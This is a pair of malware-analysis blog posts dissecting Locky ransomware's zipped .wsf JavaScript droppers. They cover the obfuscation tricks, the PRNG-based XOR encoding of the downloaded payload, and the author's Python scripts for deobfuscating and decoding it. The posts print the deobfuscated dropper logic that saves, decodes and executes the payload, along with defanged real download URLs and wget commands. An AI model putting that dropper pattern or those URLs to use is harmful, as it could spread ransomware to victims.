vendredi 29 juillet 2016

Update about #Locky xoring data scheme

1/ Intro

This post is a follow-up of this one: http://0x90909090.blogspot.com/2016/07/analyzing-zip-with-wsf-file-inside.html

The malware in question is Locky.

2/ Another Locky

Somebody sends me other Locky's zip files and I quickly figured that the core functionalities are the same
  • a .wsf in a zip file (wsf format slightly changed, so my analyze.py prog in github does not work anymore)
  • some layer of obfuscation
  • all variables are named different, but the structure and functions are the same
  • The downloaded file is XOR-ed with values coming from a PRNG function
  • the PRNG seed has changed

This blogpost will talk about the PRNG.


3/ PRNG

Wikipedia to the rescue:
A pseudorandom number generator (PRNG) is an algorithm for generating a sequence of numbers whose properties approximate the properties of sequences of random numbers. The PRNG-generated sequence is not truly random, because it is completely determined by a relatively small set of initial values, called the PRNG's seed. (...) pseudorandom number generators are important in practice for their speed in number generation and their reproducibility.

And that's it. I think this is a really interesting move because the file downloaded over HTTP looks like random data. Here is the entropy for the file (made with binwalk):


You can compare with the file, once XOR-ed :

This is an interesting way to avoid analysis.
All the network probes only see random data. No particuliar header, no pattern to match.
No static key either (XORed file with static key doesn't see their entropy changing a lot and key can be retrieved).
You can eventually block file downloaded over HTTP when they have no known header and are around 200kB but it's not really precise.

4/ Get the seed


In my previous blogspot, I just copy paste the prng function, with the seed.
If you want to quickly get the seed, you can grep for mash(<data>) in the .wsf file, once extracted from the zip and unobfuscate.


Everything then is the same: generates more than 200k of pseudo random numbers, then XOR the file:
 mitsurugi@dojo:~/chall/infected$ js24 uhe_prng.js > prng_js   
 mitsurugi@dojo:~/chall/infected$ ./unxor.py cj937f7l  
 mitsurugi@dojo:~/chall/infected$ file cj937f7l cj937f7l-xored   
 cj937f7l:    data  
 cj937f7l-xored: PE32 executable (GUI) Intel 80386, for MS Windows  
 mitsurugi@dojo:~/chall/infected$   

5/ Conclusions and questions

I think that everything is not said in the case of Locky. When I read interesting analysis like the one in malwarelabs, I don't understand why they don't ran into the XOR part. No mention about the XOR: they found URL in the wsf file, then they got an .exe file (wut?).
Is there many campaigns, some with exe file other with XOR-ed one? As the URLs mentioned in malwarelabs post are not available anymore, I can't tell :-/

And if you got another samples to share, I'm still willing to take a look :-)


0xMitsurugi
Courage first; power second; technique third.

lundi 18 juillet 2016

Analyzing zip with .wsf file inside

0/ Intro

Between the 13 and 16 of july, I've received of lot of spams, all based
on the same, now classical, pattern. A mail body with wording like:
"How is it going?
Please find attached document you asked for and the latest payments report
Hope that helps. Drop me a line if there is anything else you want to know"

or

"Please find the reference letter I attached."

and a zip file attached containing one file ending in .wsf

 mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l 4F6B513_mitsu.zip   
 Archive: 4F6B513_mitsu.zip  
  Length   Date  Time  Name  
 --------- ---------- -----  ----  
   29295 2016-07-15 11:09  spreadsheet_87a4..wsf  
 ---------           -------  
   29295           1 file  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_97027.zip   
 Archive: mitsu_97027.zip  
  Length   Date  Time  Name  
 --------- ---------- -----  ----  
   28380 2016-07-15 11:17  spreadsheet_7ff..wsf  
 ---------           -------  
   28380           1 file  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ unzip -l mitsu_forward_758093.zip   
 Archive: mitsu_forward_758093.zip  
  Length   Date  Time  Name  
 --------- ---------- -----  ----  
   71060 2016-07-14 11:19  spreadsheet_17f5..wsf  
 ---------           -------  
   71060           1 file  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$  

1/ stage 1 - unzip and get the script

All of the .wsf I saw looks more or less the same:

We have a job declaration, then a very long var (I snipped it for brievety, the line is more than 28000 chars long). This var is just a concatenation of all strings, and in the end, it's reversed.

In order to analyze it, you can copy/paste this var in a python file, and just reverse it:
 #! /usr/bin/python  
 aFusa0arM = ';}\n\r;)('+']fJU (... snipped +28000 chars for brievety ...)
 Fo'+'Tev" = '+'jXO rav'+'\n\r;"" +'+' "eli" '+'= tI ra'+'v\n\r;"" '+'+ "esol'+'c" = 0q'+'O rav';
 print aFusa0arM[::-1]  

2/ stage 2 - unobfuscate the javascript

The javascript file is 700 lines long. A quick glance at it reveals the obfuscation.

2/1/ Obfuscation : use of variables

The code relies heavily of variables.There is a lot of affectation:

 var VYd = "ct" + "";  
 var ZMv = "je" + "";  
 var UJd = "teOb" + "";  
 var AYe0 = "ea" + "";  
 var Co7 = "Cr" + "";  

Then, later on:
 var IUh=WScript[Co7 + AYe0 + UJd + ZMv + VYd]  

2/2/ Obfuscation : use of useless functions - 1

We see also a lot of useless function which produce in output the input given:

 function Xr1(WDv){return WDv;};  
 function Wu6(Jw3){return Jw3;};  

And then, it's use:
 IUh[OEc2 + ZBb4](Yr2[Yc8 + USr + Wu6(En) + Gt2]);  

Still, it's just basic obfuscation

2/3/ Obfuscation : use of useless functions - 2

There is another use of useless function. They are called only once, and produce a fixed output. We can find them from time to time:

 var SWh3=[Ww + NBp4 + (function BEs0(){return Xk6;}()) + IHx1 + QMa + CAi2, JRu9(QVt0) + Ir4 + MIs + XKm + Vo];  


The SWh3 var can be simplified like:

 var SWh3=[Ww + NBp4 + Xk6 + IHx1 + QMa + CAi2, QVt0 + Ir4 + MIs + XKm + Vo];  


2/4/ Unobfuscate

That's not really hard. Load all vars, then replace them in expression, remove all useless functions, and calculate the strings.

3/ part 2 - unobfuscation

Once the vars renamed, we can see the big picture of the file:

3/1/ vars declaration

The file begins with almost 700 lines of var declaration.

But only one line is really interesting:
 var VVq=[Jj+Qo5 + ZKy+(function PGr3(){return STa5;}())+ASs2 +   
 (function ICe1(){return XOl;}())+Aq5+MDs6 + Ty9+GZq + Pe+Pa1 +   
 Mp4+Xr1(Rq8)+(function WXz(){return Xw5;}()),   
 (function Ni8(){return Jj;}())+Eb+Lp0+Zv+Gu+RSq + JXa+Jv+Ne+  
 Wp + Yg+Ov + Kz1+RZl8+BBv + COk+IYz, Qe+Kg7+Em+Uc +   
 (function Ci(){return KKd1;}())+(function PJm6(){return Iq0;}())+  
 FWe(MAp7)+Uq3+Xv1 + Mf + DOo6+Nm(TEz5)+Ex5];  


Which can be read as:
var VVq=[element1, element2, element3]

this declares a table of three elements. After search and replace vars, we can read:
    http://callatisinstitut[.]fr/fytdty8o
    http://www.guapaweb[.]jazztel.es/o54b6
    http://exclusive-closet[.]com/wqcs8fk


3/2/ a PRNG

 function uheprng()  
 function rawprng()  
 function Mash()  
If you google this, you can find that's a random number generator. It will be used later.

3/3/ The juicy part (vars unobfuscated)

 var IUh=WScript[CreateObject](ADODB.Stream);  
 IUh[open]();  
 IUh[type]=2;  
 IUh[write](Yr2[ResponseBody]);  
 IUh[position]=0;  
 IUh[SaveToFile](DJt9, Kn5);  
 IUh[close]();  
 var GHq4=Nh(DJt9); // Ok  
 GHq4=Zy(GHq4);   // This function is important  
 if (GHq4[length] < 100 * 1024 || GHq4[length] > 230 * 1024 || !ZZr(GHq4))  
 {  
   ORj1=1;  
   continue;  
 }  
 try  
 {  
   STn /* H */(Vh9, GHq4);  // it renames the file with .exe  
 }  
 catch (e) {break;};  
 Sn[Run](Vh9 + " 321");   //It runs the exe file with 321 as argument  
 break;  

3/4/ the Zy function

the Zy() function is interesting:
 function Zy(WPx8)  
 {  
   var NKh;  
   var Je = uheprng();  
   for (var KFh4=0; KFh4 < WPx8[length]; KFh4++)  
   {  
     WPx8[KFh4] ^= Je(256);  
   }  
 (other stuff...)  


We can see that it XOR all bytes with the prng initialized to the value 256.

3/5/ The NH() and STn /* H  */() functions

Those functions looks more or less the same. It opens a file, then do byte translations if charCode > 128.
Maybe I'm missing something, but we don't need that to unobfuscate the exe file.

4/ Decrypt exe file

We have the download URLs, a wget is enough to get the file.
The hard part is to generate all the pseudo random numbers. I choose the easy way: Copy paste the PRNG function in a js file, then generate enough pseudo random numbers to use them later:

 function uheprng() {return (function() {  
 var o = 48, c = 1, p = o, s = new Array(o);  
 var i,j;  
 var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";  
 var mash = Mash();  
 for (i = 5806 - 5806; i < o; i++) s[i] = mash(0.598538);  
 mash = null;  
 var random = function( range ) {  
 return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));  
 }  
 function rawprng() {   
 if (++p >= o) p = 0;  
 var t = (482628 * 3 + 320979) * s[p] + c * 2.3283064365386963e-10;  
 return s[p] = t - (c = t | 0);  
 }return random;}());};  
 function Mash() {   
 var n = 0xefc8249d;  
 var mash = function(data) {  
 if ( data ) {  
 data = data.toString();  
 for (var i = 0; i < data.length; i++) {  
 n += data.charCodeAt(i);  
 var h = 0.02519603282416938 * n;  
 n = h >>> 0;  
 h -= n;  
 h *= n;  
 n = h >>> 0;  
 h -= n;  
 n += h * 0x100000000;  
 }  
 return (n >>> (1 * 0)) * 2.3283064365386963e-10;  
 } else n = 0xefc8249d;  
 };  
 return mash;  
 }  
 var Je = uheprng()  
 for (var i=0; i<200000; i++){  
 print(Je(256)); }  
and we can save all those numbers in a file:
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ js24 UHE_prng.js > prng_js  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$  

Then a wget and an easy python script will get you the exe file:
 f=open("mal_file","ro")  
 data=f.read()  
 f.close()  
 f=open("prng_js","ro")  
 p=f.readlines()  
 f.close()  
 prng=[]  
 for i in p:  
   prng.append(int(i.strip()))  
 out=[]  
 for i in range(len(data)):  
   o=ord(data[i])^prng[i]  
   out.append(chr(o))  
 out=''.join(out)  
 output=open("data","wb")  
 output.write(out)  
 output.close()  
and we get:
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py 8f72pw  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data  
 data: PE32 executable (GUI) Intel 80386, for MS Windows  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$  

Now, we need somebody brave enough to launch it with 321 as an argument

5/ Automatize all the things

I wrote two python scripts. The first one extracts URLs from the zip file. The second one unxor the file. This is quick&dirty scripts and "It works for me" (tm)

Usage:
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./analyze.py 4F6B513_mitsu.zip  
 Extracting zip  
 [+] Ok zip contains one file ending in .wsf  
 Get obfusctated js  
 [+] Assigning a long var, seems good  
 [+] We have to reverse the string  
 Parsing obfuscated and getting URLs  
 [+] printing download URLs  
   http://mana114[.]takara-bune.net/iqfywp  
   http://sichenia[.]omniadvert.it/7xxsn8  
   http://callatisinstitut[.]fr/fytdty8o  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ wget -q http://mana114[.]takara-bune.net/iqfywp  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ ./unxor.py iqfywp  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$ file data  
 data: PE32 executable (GUI) Intel 80386, for MS Windows  
 mitsurugi@dojo:~/chall/infected/zipped_wsf$


Warning:
  • The python file does an eval() for concatenating all vars. It's considered dangerous. Use at your own risk.
  • Some zip file are not exactly the same and my parser doesn't handle those. The logic behind is the same, but you will have to do analysis by hand. For what I saw, it's the same logic: unxor a file with a PRNG
  • Be aware that those scripts relies on a very small subset of zipfile and relies on a lot of assumptions. 
  • Be aware that I'm using the PRNG with 256 as a fixed value. If its change, the unxor won't work.
  • If you have some sample which doesn't work, I can take a look.

Here is the link to the github repo: https://github.com/0xmitsurugi/Analyzing-zip-file-with-.wsf-file-inside

0xMitsurugi

Our greatest glory is not in never falling, but in rising every time we fall!

You are not judged by the way you fall. 
You are judged by the way you get up after.